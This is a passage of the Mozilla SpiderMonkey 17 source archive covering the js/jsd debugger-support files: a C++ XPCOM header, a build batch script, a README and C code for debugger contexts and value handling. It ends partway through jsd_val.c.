mozjs17.0.0/js/jsd/0000775000175000017500000000000012106270662013774 5ustar sstanglsstanglmozjs17.0.0/js/jsd/jsd_xpc.h0000664000175000017500000002403312106270662015601 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef JSDSERVICE_H___ #define JSDSERVICE_H___ #include "jsdIDebuggerService.h" #include "jsdebug.h" #include "nsString.h" #include "nsCOMPtr.h" #include "nspr.h" #include "nsCycleCollectionParticipant.h" #include "mozilla/Attributes.h" // #if defined(DEBUG_rginda_l) // # define DEBUG_verbose // #endif struct LiveEphemeral { /* link in a chain of live values list */ PRCList links; jsdIEphemeral *value; void *key; }; struct PCMapEntry { uint32_t pc, line; }; /******************************************************************************* * reflected jsd data structures *******************************************************************************/ class jsdObject MOZ_FINAL : public jsdIObject { public: NS_DECL_ISUPPORTS NS_DECL_JSDIOBJECT /* you'll normally use use FromPtr() instead of directly constructing one */ jsdObject (JSDContext *aCx, JSDObject *aObject) : mCx(aCx), mObject(aObject) { } static jsdIObject *FromPtr (JSDContext *aCx, JSDObject *aObject) { if (!aObject) return nullptr; jsdIObject *rv = new jsdObject (aCx, aObject); NS_IF_ADDREF(rv); return rv; } private: jsdObject(); /* no implementation */ jsdObject(const jsdObject&); /* no implementation */ JSDContext *mCx; JSDObject *mObject; }; class jsdProperty : public jsdIProperty { public: NS_DECL_ISUPPORTS NS_DECL_JSDIPROPERTY NS_DECL_JSDIEPHEMERAL jsdProperty (JSDContext *aCx, JSDProperty *aProperty); virtual ~jsdProperty (); static jsdIProperty *FromPtr (JSDContext *aCx, JSDProperty *aProperty) { if (!aProperty) return nullptr; jsdIProperty *rv = new jsdProperty (aCx, aProperty); NS_IF_ADDREF(rv); return rv; } static void InvalidateAll(); private: jsdProperty(); /* no implementation */ jsdProperty(const jsdProperty&); /* no implementation */ bool mValid; LiveEphemeral mLiveListEntry; JSDContext *mCx; JSDProperty *mProperty; }; class jsdScript : public jsdIScript { public: NS_DECL_ISUPPORTS NS_DECL_JSDISCRIPT NS_DECL_JSDIEPHEMERAL /* you'll normally use use FromPtr() instead of directly constructing one */ jsdScript (JSDContext *aCx, JSDScript *aScript); virtual ~jsdScript(); static jsdIScript *FromPtr (JSDContext *aCx, JSDScript *aScript) { if (!aScript) return nullptr; void *data = JSD_GetScriptPrivate (aScript); jsdIScript *rv; if (data) { rv = static_cast(data); } else { rv = new jsdScript (aCx, aScript); NS_IF_ADDREF(rv); /* addref for the SetScriptPrivate, released in * Invalidate() */ JSD_SetScriptPrivate (aScript, static_cast(rv)); } NS_IF_ADDREF(rv); /* addref for return value */ return rv; } static void InvalidateAll(); private: static uint32_t LastTag; jsdScript(); /* no implementation */ jsdScript (const jsdScript&); /* no implementation */ PCMapEntry* CreatePPLineMap(); uint32_t PPPcToLine(uint32_t aPC); uint32_t PPLineToPc(uint32_t aLine); bool mValid; uint32_t mTag; JSDContext *mCx; JSDScript *mScript; nsCString *mFileName; nsCString *mFunctionName; uint32_t mBaseLineNumber, mLineExtent; PCMapEntry *mPPLineMap; uint32_t mPCMapSize; uintptr_t mFirstPC; }; uint32_t jsdScript::LastTag = 0; class jsdContext : public jsdIContext { public: NS_DECL_ISUPPORTS NS_DECL_JSDICONTEXT NS_DECL_JSDIEPHEMERAL jsdContext (JSDContext *aJSDCx, JSContext *aJSCx, nsISupports *aISCx); virtual ~jsdContext(); static void InvalidateAll(); static jsdIContext *FromPtr (JSDContext *aJSDCx, JSContext *aJSCx); private: static uint32_t LastTag; jsdContext (); /* no implementation */ jsdContext (const jsdContext&); /* no implementation */ bool mValid; LiveEphemeral mLiveListEntry; uint32_t mTag; JSDContext *mJSDCx; JSContext *mJSCx; nsCOMPtr mISCx; }; uint32_t jsdContext::LastTag = 0; class jsdStackFrame : public jsdIStackFrame { public: NS_DECL_ISUPPORTS NS_DECL_JSDISTACKFRAME NS_DECL_JSDIEPHEMERAL /* you'll normally use use FromPtr() instead of directly constructing one */ jsdStackFrame (JSDContext *aCx, JSDThreadState *aThreadState, JSDStackFrameInfo *aStackFrameInfo); virtual ~jsdStackFrame(); static void InvalidateAll(); static jsdIStackFrame* FromPtr (JSDContext *aCx, JSDThreadState *aThreadState, JSDStackFrameInfo *aStackFrameInfo); private: jsdStackFrame(); /* no implementation */ jsdStackFrame(const jsdStackFrame&); /* no implementation */ bool mValid; LiveEphemeral mLiveListEntry; JSDContext *mCx; JSDThreadState *mThreadState; JSDStackFrameInfo *mStackFrameInfo; }; class jsdValue : public jsdIValue { public: NS_DECL_ISUPPORTS NS_DECL_JSDIVALUE NS_DECL_JSDIEPHEMERAL /* you'll normally use use FromPtr() instead of directly constructing one */ jsdValue (JSDContext *aCx, JSDValue *aValue); virtual ~jsdValue(); static jsdIValue *FromPtr (JSDContext *aCx, JSDValue *aValue); static void InvalidateAll(); private: jsdValue(); /* no implementation */ jsdValue (const jsdScript&); /* no implementation */ bool mValid; LiveEphemeral mLiveListEntry; JSDContext *mCx; JSDValue *mValue; }; /****************************************************************************** * debugger service ******************************************************************************/ class jsdService : public jsdIDebuggerService { public: NS_DECL_CYCLE_COLLECTING_ISUPPORTS NS_DECL_JSDIDEBUGGERSERVICE NS_DECL_CYCLE_COLLECTION_CLASS(jsdService) jsdService() : mOn(false), mPauseLevel(0), mNestedLoopLevel(0), mCx(0), mRuntime(0), mErrorHook(0), mBreakpointHook(0), mDebugHook(0), mDebuggerHook(0), mInterruptHook(0), mScriptHook(0), mThrowHook(0), mTopLevelHook(0), mFunctionHook(0) { } virtual ~jsdService(); static jsdService *GetService (); bool CheckInterruptHook() { return !!mInterruptHook; } nsresult DoPause(uint32_t *_rval, bool internalCall); nsresult DoUnPause(uint32_t *_rval, bool internalCall); private: bool mOn; uint32_t mPauseLevel; uint32_t mNestedLoopLevel; JSDContext *mCx; JSRuntime *mRuntime; nsCOMPtr mErrorHook; nsCOMPtr mBreakpointHook; nsCOMPtr mDebugHook; nsCOMPtr mDebuggerHook; nsCOMPtr mInterruptHook; nsCOMPtr mScriptHook; nsCOMPtr mThrowHook; nsCOMPtr mTopLevelHook; nsCOMPtr mFunctionHook; nsCOMPtr mActivationCallback; }; #endif /* JSDSERVICE_H___ */ /* graveyard */ #if 0 class jsdContext : public jsdIContext { public: NS_DECL_ISUPPORTS NS_DECL_JSDICONTEXT /* you'll normally use use FromPtr() instead of directly constructing one */ jsdContext (JSDContext *aCx) : mCx(aCx) { printf ("++++++ jsdContext\n"); } static jsdIContext *FromPtr (JSDContext *aCx) { if (!aCx) return nullptr; void *data = JSD_GetContextPrivate (aCx); jsdIContext *rv; if (data) { rv = static_cast(data); } else { rv = new jsdContext (aCx); NS_IF_ADDREF(rv); // addref for the SetContextPrivate JSD_SetContextPrivate (aCx, static_cast(rv)); } NS_IF_ADDREF(rv); // addref for the return value return rv; } virtual ~jsdContext() { printf ("------ ~jsdContext\n"); } private: jsdContext(); /* no implementation */ jsdContext(const jsdContext&); /* no implementation */ JSDContext *mCx; }; class jsdThreadState : public jsdIThreadState { public: NS_DECL_ISUPPORTS NS_DECL_JSDITHREADSTATE /* you'll normally use use FromPtr() instead of directly constructing one */ jsdThreadState (JSDContext *aCx, JSDThreadState *aThreadState) : mCx(aCx), mThreadState(aThreadState) { } /* XXX These things are only valid for a short period of time, they reflect * state in the js engine that will go away after stepping past wherever * we were stopped at when this was created. We could keep a list of every * instance of this we've created, and "invalidate" them before we let the * engine continue. The next time we need a threadstate, we can search the * list to find an invalidated one, and just reuse it. */ static jsdIThreadState *FromPtr (JSDContext *aCx, JSDThreadState *aThreadState) { if (!aThreadState) return nullptr; jsdIThreadState *rv = new jsdThreadState (aCx, aThreadState); NS_IF_ADDREF(rv); return rv; } private: jsdThreadState(); /* no implementation */ jsdThreadState(const jsdThreadState&); /* no implementation */ JSDContext *mCx; JSDThreadState *mThreadState; }; #endif mozjs17.0.0/js/jsd/mkshell.bat0000775000175000017500000000053112106270662016125 0ustar sstanglsstangl@echo off REM This Source Code Form is subject to the terms of the Mozilla Public REM License, v. 2.0. If a copy of the MPL was not distributed with this REM file, You can obtain one at http://mozilla.org/MPL/2.0/. REM nmake -f jsdshell.mak JSDEBUGGER_JAVA_UI=1 %1 %2 %3 %4 %5 @echo on nmake -f jsdshell.mak JSDEBUGGER_JAVA_UI=1 %1 %2 %3 %4 %5 mozjs17.0.0/js/jsd/README0000664000175000017500000000047112106270662014656 0ustar sstanglsstangljs/jsd contains code for debugging support for the C-based JavaScript engine in js/src. jsd_xpc.cpp provides an XPCOM binding for the library. js/jsd/jsdb is a console debugger using only native code (see README in that directory.) This debugger is no longer being actively developed, though it should work. mozjs17.0.0/js/jsd/jsd_high.c0000664000175000017500000002610412106270662015722 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * JavaScript Debugging support - 'High Level' functions */ #include "jsd.h" /***************************************************************************/ /* XXX not 'static' because of old Mac CodeWarrior bug */ JSCList _jsd_context_list = JS_INIT_STATIC_CLIST(&_jsd_context_list); /* these are used to connect JSD_SetUserCallbacks() with JSD_DebuggerOn() */ static JSD_UserCallbacks _callbacks; static void* _user = NULL; static JSRuntime* _jsrt = NULL; #ifdef JSD_HAS_DANGEROUS_THREAD static void* _dangerousThread = NULL; #endif #ifdef JSD_THREADSAFE void* _jsd_global_lock = NULL; #endif #ifdef DEBUG void JSD_ASSERT_VALID_CONTEXT(JSDContext* jsdc) { JS_ASSERT(jsdc->inited); JS_ASSERT(jsdc->jsrt); JS_ASSERT(jsdc->dumbContext); JS_ASSERT(jsdc->glob); } #endif static JSClass global_class = { "JSDGlobal", JSCLASS_GLOBAL_FLAGS, JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; static JSBool _validateUserCallbacks(JSD_UserCallbacks* callbacks) { return !callbacks || (callbacks->size && callbacks->size <= sizeof(JSD_UserCallbacks)); } static JSDContext* _newJSDContext(JSRuntime* jsrt, JSD_UserCallbacks* callbacks, void* user, JSObject* scopeobj) { JSDContext* jsdc = NULL; JSCrossCompartmentCall *call = NULL; JSBool ok; if( ! jsrt ) return NULL; if( ! _validateUserCallbacks(callbacks) ) return NULL; jsdc = (JSDContext*) calloc(1, sizeof(JSDContext)); if( ! jsdc ) goto label_newJSDContext_failure; if( ! JSD_INIT_LOCKS(jsdc) ) goto label_newJSDContext_failure; JS_INIT_CLIST(&jsdc->links); jsdc->jsrt = jsrt; if( callbacks ) memcpy(&jsdc->userCallbacks, callbacks, callbacks->size); jsdc->user = user; #ifdef JSD_HAS_DANGEROUS_THREAD jsdc->dangerousThread = _dangerousThread; #endif JS_INIT_CLIST(&jsdc->threadsStates); JS_INIT_CLIST(&jsdc->sources); JS_INIT_CLIST(&jsdc->removedSources); jsdc->sourceAlterCount = 1; if( ! jsd_CreateAtomTable(jsdc) ) goto label_newJSDContext_failure; if( ! jsd_InitObjectManager(jsdc) ) goto label_newJSDContext_failure; if( ! jsd_InitScriptManager(jsdc) ) goto label_newJSDContext_failure; jsdc->dumbContext = JS_NewContext(jsdc->jsrt, 256); if( ! jsdc->dumbContext ) goto label_newJSDContext_failure; JS_BeginRequest(jsdc->dumbContext); JS_SetOptions(jsdc->dumbContext, JS_GetOptions(jsdc->dumbContext)); jsdc->glob = JS_NewGlobalObject(jsdc->dumbContext, &global_class, NULL); if( ! jsdc->glob ) goto label_newJSDContext_failure; call = JS_EnterCrossCompartmentCall(jsdc->dumbContext, jsdc->glob); if( ! call ) goto label_newJSDContext_failure; if ( ! JS_AddNamedObjectRoot(jsdc->dumbContext, &jsdc->glob, "JSD context global") ) goto label_newJSDContext_failure; ok = JS_InitStandardClasses(jsdc->dumbContext, jsdc->glob); JS_LeaveCrossCompartmentCall(call); if( ! ok ) goto label_newJSDContext_failure; JS_EndRequest(jsdc->dumbContext); jsdc->data = NULL; jsdc->inited = JS_TRUE; JSD_LOCK(); JS_INSERT_LINK(&jsdc->links, &_jsd_context_list); JSD_UNLOCK(); return jsdc; label_newJSDContext_failure: if( jsdc ) { if ( jsdc->dumbContext && jsdc->glob ) JS_RemoveObjectRootRT(JS_GetRuntime(jsdc->dumbContext), &jsdc->glob); jsd_DestroyObjectManager(jsdc); jsd_DestroyAtomTable(jsdc); if( jsdc->dumbContext ) JS_EndRequest(jsdc->dumbContext); free(jsdc); } return NULL; } static void _destroyJSDContext(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_LOCK(); JS_REMOVE_LINK(&jsdc->links); JSD_UNLOCK(); if ( jsdc->dumbContext && jsdc->glob ) { JS_RemoveObjectRootRT(JS_GetRuntime(jsdc->dumbContext), &jsdc->glob); } jsd_DestroyObjectManager(jsdc); jsd_DestroyAtomTable(jsdc); jsdc->inited = JS_FALSE; /* * We should free jsdc here, but we let it leak in case there are any * asynchronous hooks calling into the system using it as a handle * * XXX we also leak the locks */ JS_DestroyContext(jsdc->dumbContext); jsdc->dumbContext = NULL; } /***************************************************************************/ JSDContext* jsd_DebuggerOnForUser(JSRuntime* jsrt, JSD_UserCallbacks* callbacks, void* user, JSObject* scopeobj) { JSDContext* jsdc; JSContext* iter = NULL; jsdc = _newJSDContext(jsrt, callbacks, user, scopeobj); if( ! jsdc ) return NULL; /* * Set hooks here. The new/destroy script hooks are on even when * the debugger is paused. The destroy hook so we'll clean up * internal data structures when scripts are destroyed, and the * newscript hook for backwards compatibility for now. We'd like * to stop doing that. */ JS_SetNewScriptHookProc(jsdc->jsrt, jsd_NewScriptHookProc, jsdc); JS_SetDestroyScriptHookProc(jsdc->jsrt, jsd_DestroyScriptHookProc, jsdc); jsd_DebuggerUnpause(jsdc); #ifdef LIVEWIRE LWDBG_SetNewScriptHookProc(jsd_NewScriptHookProc, jsdc); #endif if( jsdc->userCallbacks.setContext ) jsdc->userCallbacks.setContext(jsdc, jsdc->user); return jsdc; } JSDContext* jsd_DebuggerOn(void) { JS_ASSERT(_jsrt); JS_ASSERT(_validateUserCallbacks(&_callbacks)); return jsd_DebuggerOnForUser(_jsrt, &_callbacks, _user, NULL); } void jsd_DebuggerOff(JSDContext* jsdc) { jsd_DebuggerPause(jsdc, JS_TRUE); /* clear hooks here */ JS_SetNewScriptHookProc(jsdc->jsrt, NULL, NULL); JS_SetDestroyScriptHookProc(jsdc->jsrt, NULL, NULL); #ifdef LIVEWIRE LWDBG_SetNewScriptHookProc(NULL,NULL); #endif /* clean up */ JSD_LockScriptSubsystem(jsdc); jsd_DestroyScriptManager(jsdc); JSD_UnlockScriptSubsystem(jsdc); jsd_DestroyAllSources(jsdc); _destroyJSDContext(jsdc); if( jsdc->userCallbacks.setContext ) jsdc->userCallbacks.setContext(NULL, jsdc->user); } void jsd_DebuggerPause(JSDContext* jsdc, JSBool forceAllHooksOff) { JS_SetDebuggerHandler(jsdc->jsrt, NULL, NULL); if (forceAllHooksOff || !(jsdc->flags & JSD_COLLECT_PROFILE_DATA)) { JS_SetExecuteHook(jsdc->jsrt, NULL, NULL); JS_SetCallHook(jsdc->jsrt, NULL, NULL); } JS_SetThrowHook(jsdc->jsrt, NULL, NULL); JS_SetDebugErrorHook(jsdc->jsrt, NULL, NULL); } static JSBool jsd_DebugErrorHook(JSContext *cx, const char *message, JSErrorReport *report, void *closure); void jsd_DebuggerUnpause(JSDContext* jsdc) { JS_SetDebuggerHandler(jsdc->jsrt, jsd_DebuggerHandler, jsdc); JS_SetExecuteHook(jsdc->jsrt, jsd_TopLevelCallHook, jsdc); JS_SetCallHook(jsdc->jsrt, jsd_FunctionCallHook, jsdc); JS_SetThrowHook(jsdc->jsrt, jsd_ThrowHandler, jsdc); JS_SetDebugErrorHook(jsdc->jsrt, jsd_DebugErrorHook, jsdc); } void jsd_SetUserCallbacks(JSRuntime* jsrt, JSD_UserCallbacks* callbacks, void* user) { _jsrt = jsrt; _user = user; #ifdef JSD_HAS_DANGEROUS_THREAD _dangerousThread = JSD_CURRENT_THREAD(); #endif if( callbacks ) memcpy(&_callbacks, callbacks, sizeof(JSD_UserCallbacks)); else memset(&_callbacks, 0 , sizeof(JSD_UserCallbacks)); } void* jsd_SetContextPrivate(JSDContext* jsdc, void *data) { void *rval = jsdc->data; jsdc->data = data; return data; } void* jsd_GetContextPrivate(JSDContext* jsdc) { return jsdc->data; } void jsd_ClearAllProfileData(JSDContext* jsdc) { JSDScript *current; JSD_LOCK_SCRIPTS(jsdc); current = (JSDScript *)jsdc->scripts.next; while (current != (JSDScript *)&jsdc->scripts) { jsd_ClearScriptProfileData(jsdc, current); current = (JSDScript *)current->links.next; } JSD_UNLOCK_SCRIPTS(jsdc); } JSDContext* jsd_JSDContextForJSContext(JSContext* context) { JSDContext* iter; JSDContext* jsdc = NULL; JSRuntime* runtime = JS_GetRuntime(context); JSD_LOCK(); for( iter = (JSDContext*)_jsd_context_list.next; iter != (JSDContext*)&_jsd_context_list; iter = (JSDContext*)iter->links.next ) { if( runtime == iter->jsrt ) { jsdc = iter; break; } } JSD_UNLOCK(); return jsdc; } static JSBool jsd_DebugErrorHook(JSContext *cx, const char *message, JSErrorReport *report, void *closure) { JSDContext* jsdc = (JSDContext*) closure; JSD_ErrorReporter errorReporter; void* errorReporterData; if( ! jsdc ) { JS_ASSERT(0); return JS_TRUE; } if( JSD_IS_DANGEROUS_THREAD(jsdc) ) return JS_TRUE; /* local in case hook gets cleared on another thread */ JSD_LOCK(); errorReporter = jsdc->errorReporter; errorReporterData = jsdc->errorReporterData; JSD_UNLOCK(); if(!errorReporter) return JS_TRUE; switch(errorReporter(jsdc, cx, message, report, errorReporterData)) { case JSD_ERROR_REPORTER_PASS_ALONG: return JS_TRUE; case JSD_ERROR_REPORTER_RETURN: return JS_FALSE; case JSD_ERROR_REPORTER_DEBUG: { jsval rval; JSD_ExecutionHookProc hook; void* hookData; /* local in case hook gets cleared on another thread */ JSD_LOCK(); hook = jsdc->debugBreakHook; hookData = jsdc->debugBreakHookData; JSD_UNLOCK(); jsd_CallExecutionHook(jsdc, cx, JSD_HOOK_DEBUG_REQUESTED, hook, hookData, &rval); /* XXX Should make this dependent on ExecutionHook retval */ return JS_TRUE; } case JSD_ERROR_REPORTER_CLEAR_RETURN: if(report && JSREPORT_IS_EXCEPTION(report->flags)) JS_ClearPendingException(cx); return JS_FALSE; default: JS_ASSERT(0); break; } return JS_TRUE; } JSBool jsd_SetErrorReporter(JSDContext* jsdc, JSD_ErrorReporter reporter, void* callerdata) { JSD_LOCK(); jsdc->errorReporter = reporter; jsdc->errorReporterData = callerdata; JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_GetErrorReporter(JSDContext* jsdc, JSD_ErrorReporter* reporter, void** callerdata) { JSD_LOCK(); if( reporter ) *reporter = jsdc->errorReporter; if( callerdata ) *callerdata = jsdc->errorReporterData; JSD_UNLOCK(); return JS_TRUE; } mozjs17.0.0/js/jsd/jsd_val.c0000664000175000017500000005327512106270662015576 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * JavaScript Debugging support - Value and Property support */ #include "jsd.h" #include "jsapi.h" #include "jsfriendapi.h" #ifdef DEBUG void JSD_ASSERT_VALID_VALUE(JSDValue* jsdval) { JS_ASSERT(jsdval); JS_ASSERT(jsdval->nref > 0); if(!JS_CLIST_IS_EMPTY(&jsdval->props)) { JS_ASSERT(CHECK_BIT_FLAG(jsdval->flags, GOT_PROPS)); JS_ASSERT(!JSVAL_IS_PRIMITIVE(jsdval->val)); } if(jsdval->proto) { JS_ASSERT(CHECK_BIT_FLAG(jsdval->flags, GOT_PROTO)); JS_ASSERT(jsdval->proto->nref > 0); } if(jsdval->parent) { JS_ASSERT(CHECK_BIT_FLAG(jsdval->flags, GOT_PARENT)); JS_ASSERT(jsdval->parent->nref > 0); } if(jsdval->ctor) { JS_ASSERT(CHECK_BIT_FLAG(jsdval->flags, GOT_CTOR)); JS_ASSERT(jsdval->ctor->nref > 0); } } void JSD_ASSERT_VALID_PROPERTY(JSDProperty* jsdprop) { JS_ASSERT(jsdprop); JS_ASSERT(jsdprop->name); JS_ASSERT(jsdprop->name->nref > 0); JS_ASSERT(jsdprop->val); JS_ASSERT(jsdprop->val->nref > 0); if(jsdprop->alias) JS_ASSERT(jsdprop->alias->nref > 0); } #endif JSBool jsd_IsValueObject(JSDContext* jsdc, JSDValue* jsdval) { return !JSVAL_IS_PRIMITIVE(jsdval->val) || JSVAL_IS_NULL(jsdval->val); } JSBool jsd_IsValueNumber(JSDContext* jsdc, JSDValue* jsdval) { return JSVAL_IS_NUMBER(jsdval->val); } JSBool jsd_IsValueInt(JSDContext* jsdc, JSDValue* jsdval) { return JSVAL_IS_INT(jsdval->val); } JSBool jsd_IsValueDouble(JSDContext* jsdc, JSDValue* jsdval) { return JSVAL_IS_DOUBLE(jsdval->val); } JSBool jsd_IsValueString(JSDContext* jsdc, JSDValue* jsdval) { return JSVAL_IS_STRING(jsdval->val); } JSBool jsd_IsValueBoolean(JSDContext* jsdc, JSDValue* jsdval) { return JSVAL_IS_BOOLEAN(jsdval->val); } JSBool jsd_IsValueNull(JSDContext* jsdc, JSDValue* jsdval) { return JSVAL_IS_NULL(jsdval->val); } JSBool jsd_IsValueVoid(JSDContext* jsdc, JSDValue* jsdval) { return JSVAL_IS_VOID(jsdval->val); } JSBool jsd_IsValuePrimitive(JSDContext* jsdc, JSDValue* jsdval) { return JSVAL_IS_PRIMITIVE(jsdval->val); } JSBool jsd_IsValueFunction(JSDContext* jsdc, JSDValue* jsdval) { return !JSVAL_IS_PRIMITIVE(jsdval->val) && JS_ObjectIsCallable(jsdc->dumbContext, JSVAL_TO_OBJECT(jsdval->val)); } JSBool jsd_IsValueNative(JSDContext* jsdc, JSDValue* jsdval) { JSContext* cx = jsdc->dumbContext; JSFunction* fun; JSExceptionState* exceptionState; JSCrossCompartmentCall *call = NULL; if(jsd_IsValueFunction(jsdc, jsdval)) { JSBool ok = JS_FALSE; JS_BeginRequest(cx); call = JS_EnterCrossCompartmentCall(jsdc->dumbContext, JSVAL_TO_OBJECT(jsdval->val)); if(!call) { JS_EndRequest(cx); return JS_FALSE; } exceptionState = JS_SaveExceptionState(cx); fun = JSD_GetValueFunction(jsdc, jsdval); JS_RestoreExceptionState(cx, exceptionState); if(fun) ok = JS_GetFunctionScript(cx, fun) ? JS_FALSE : JS_TRUE; JS_LeaveCrossCompartmentCall(call); JS_EndRequest(cx); JS_ASSERT(fun); return ok; } return !JSVAL_IS_PRIMITIVE(jsdval->val); } /***************************************************************************/ JSBool jsd_GetValueBoolean(JSDContext* jsdc, JSDValue* jsdval) { jsval val = jsdval->val; if(!JSVAL_IS_BOOLEAN(val)) return JS_FALSE; return JSVAL_TO_BOOLEAN(val); } int32_t jsd_GetValueInt(JSDContext* jsdc, JSDValue* jsdval) { jsval val = jsdval->val; if(!JSVAL_IS_INT(val)) return 0; return JSVAL_TO_INT(val); } double jsd_GetValueDouble(JSDContext* jsdc, JSDValue* jsdval) { if(!JSVAL_IS_DOUBLE(jsdval->val)) return 0; return JSVAL_TO_DOUBLE(jsdval->val); } JSString* jsd_GetValueString(JSDContext* jsdc, JSDValue* jsdval) { JSContext* cx = jsdc->dumbContext; JSExceptionState* exceptionState; JSCrossCompartmentCall *call = NULL; jsval stringval; JSString *string; JSBool needWrap; JSObject *scopeObj; if(jsdval->string) return jsdval->string; /* Reuse the string without copying or re-rooting it */ if(JSVAL_IS_STRING(jsdval->val)) { jsdval->string = JSVAL_TO_STRING(jsdval->val); return jsdval->string; } JS_BeginRequest(cx); /* Objects call JS_ValueToString in their own compartment. */ scopeObj = !JSVAL_IS_PRIMITIVE(jsdval->val) ? JSVAL_TO_OBJECT(jsdval->val) : jsdc->glob; call = JS_EnterCrossCompartmentCall(cx, scopeObj); if(!call) { JS_EndRequest(cx); return NULL; } exceptionState = JS_SaveExceptionState(cx); string = JS_ValueToString(cx, jsdval->val); JS_RestoreExceptionState(cx, exceptionState); JS_LeaveCrossCompartmentCall(call); call = NULL; if(string) { stringval = STRING_TO_JSVAL(string); call = JS_EnterCrossCompartmentCall(cx, jsdc->glob); } if(!string || !call || !JS_WrapValue(cx, &stringval)) { if(call) JS_LeaveCrossCompartmentCall(call); JS_EndRequest(cx); return NULL; } jsdval->string = JSVAL_TO_STRING(stringval); if(!JS_AddNamedStringRoot(cx, &jsdval->string, "ValueString")) jsdval->string = NULL; JS_LeaveCrossCompartmentCall(call); JS_EndRequest(cx); return jsdval->string; } JSString* jsd_GetValueFunctionId(JSDContext* jsdc, JSDValue* jsdval) { JSContext* cx = jsdc->dumbContext; JSFunction* fun; JSExceptionState* exceptionState; JSCrossCompartmentCall *call = NULL; if(!jsdval->funName && jsd_IsValueFunction(jsdc, jsdval)) { JS_BeginRequest(cx); call = JS_EnterCrossCompartmentCall(jsdc->dumbContext, JSVAL_TO_OBJECT(jsdval->val)); if(!call) { JS_EndRequest(cx); return NULL; } exceptionState = JS_SaveExceptionState(cx); fun = JSD_GetValueFunction(jsdc, jsdval); JS_RestoreExceptionState(cx, exceptionState); JS_LeaveCrossCompartmentCall(call); JS_EndRequest(cx); if(!fun) return NULL; jsdval->funName = JS_GetFunctionId(fun); /* For compatibility we return "anonymous", not an empty string here. */ if (!jsdval->funName) jsdval->funName = JS_GetAnonymousString(jsdc->jsrt); } return jsdval->funName; } /***************************************************************************/ /* * Create a new JSD value referring to a jsval. Copy string values into the * JSD compartment. Leave all other GCTHINGs in their native compartments * and access them through cross-compartment calls. */ JSDValue* jsd_NewValue(JSDContext* jsdc, jsval val) { JSDValue* jsdval; JSCrossCompartmentCall *call = NULL; if(!(jsdval = (JSDValue*) calloc(1, sizeof(JSDValue)))) return NULL; if(JSVAL_IS_GCTHING(val)) { JSBool ok; JS_BeginRequest(jsdc->dumbContext); call = JS_EnterCrossCompartmentCall(jsdc->dumbContext, jsdc->glob); if(!call) { JS_EndRequest(jsdc->dumbContext); free(jsdval); return NULL; } ok = JS_AddNamedValueRoot(jsdc->dumbContext, &jsdval->val, "JSDValue"); if(ok && JSVAL_IS_STRING(val)) { if(!JS_WrapValue(jsdc->dumbContext, &val)) { ok = JS_FALSE; } } JS_LeaveCrossCompartmentCall(call); JS_EndRequest(jsdc->dumbContext); if(!ok) { free(jsdval); return NULL; } } jsdval->val = val; jsdval->nref = 1; JS_INIT_CLIST(&jsdval->props); return jsdval; } void jsd_DropValue(JSDContext* jsdc, JSDValue* jsdval) { JSCrossCompartmentCall *call = NULL; JS_ASSERT(jsdval->nref > 0); if(0 == --jsdval->nref) { jsd_RefreshValue(jsdc, jsdval); if(JSVAL_IS_GCTHING(jsdval->val)) { JS_BeginRequest(jsdc->dumbContext); call = JS_EnterCrossCompartmentCall(jsdc->dumbContext, jsdc->glob); if(!call) { JS_EndRequest(jsdc->dumbContext); return; } JS_RemoveValueRoot(jsdc->dumbContext, &jsdval->val); JS_LeaveCrossCompartmentCall(call); JS_EndRequest(jsdc->dumbContext); } free(jsdval); } } jsval jsd_GetValueWrappedJSVal(JSDContext* jsdc, JSDValue* jsdval) { JSObject* obj; JSContext* cx; jsval val = jsdval->val; if (!JSVAL_IS_PRIMITIVE(val)) { cx = JSD_GetDefaultJSContext(jsdc); obj = JS_ObjectToOuterObject(cx, JSVAL_TO_OBJECT(val)); if (!obj) { JS_ClearPendingException(cx); val = JSVAL_NULL; } else val = OBJECT_TO_JSVAL(obj); } return val; } static JSDProperty* _newProperty(JSDContext* jsdc, JSPropertyDesc* pd, unsigned additionalFlags) { JSDProperty* jsdprop; if(!(jsdprop = (JSDProperty*) calloc(1, sizeof(JSDProperty)))) return NULL; JS_INIT_CLIST(&jsdprop->links); jsdprop->nref = 1; jsdprop->flags = pd->flags | additionalFlags; if(!(jsdprop->name = jsd_NewValue(jsdc, pd->id))) goto new_prop_fail; if(!(jsdprop->val = jsd_NewValue(jsdc, pd->value))) goto new_prop_fail; if((jsdprop->flags & JSDPD_ALIAS) && !(jsdprop->alias = jsd_NewValue(jsdc, pd->alias))) goto new_prop_fail; return jsdprop; new_prop_fail: jsd_DropProperty(jsdc, jsdprop); return NULL; } static void _freeProps(JSDContext* jsdc, JSDValue* jsdval) { JSDProperty* jsdprop; while(jsdprop = (JSDProperty*)jsdval->props.next, jsdprop != (JSDProperty*)&jsdval->props) { JS_REMOVE_AND_INIT_LINK(&jsdprop->links); jsd_DropProperty(jsdc, jsdprop); } JS_ASSERT(JS_CLIST_IS_EMPTY(&jsdval->props)); CLEAR_BIT_FLAG(jsdval->flags, GOT_PROPS); } static JSBool _buildProps(JSDContext* jsdc, JSDValue* jsdval) { JSContext* cx = jsdc->dumbContext; JSObject *obj; JSPropertyDescArray pda; unsigned i; JSCrossCompartmentCall *call = NULL; JS_ASSERT(JS_CLIST_IS_EMPTY(&jsdval->props)); JS_ASSERT(!(CHECK_BIT_FLAG(jsdval->flags, GOT_PROPS))); JS_ASSERT(!JSVAL_IS_PRIMITIVE(jsdval->val)); if(JSVAL_IS_PRIMITIVE(jsdval->val)) return JS_FALSE; obj = JSVAL_TO_OBJECT(jsdval->val); JS_BeginRequest(cx); call = 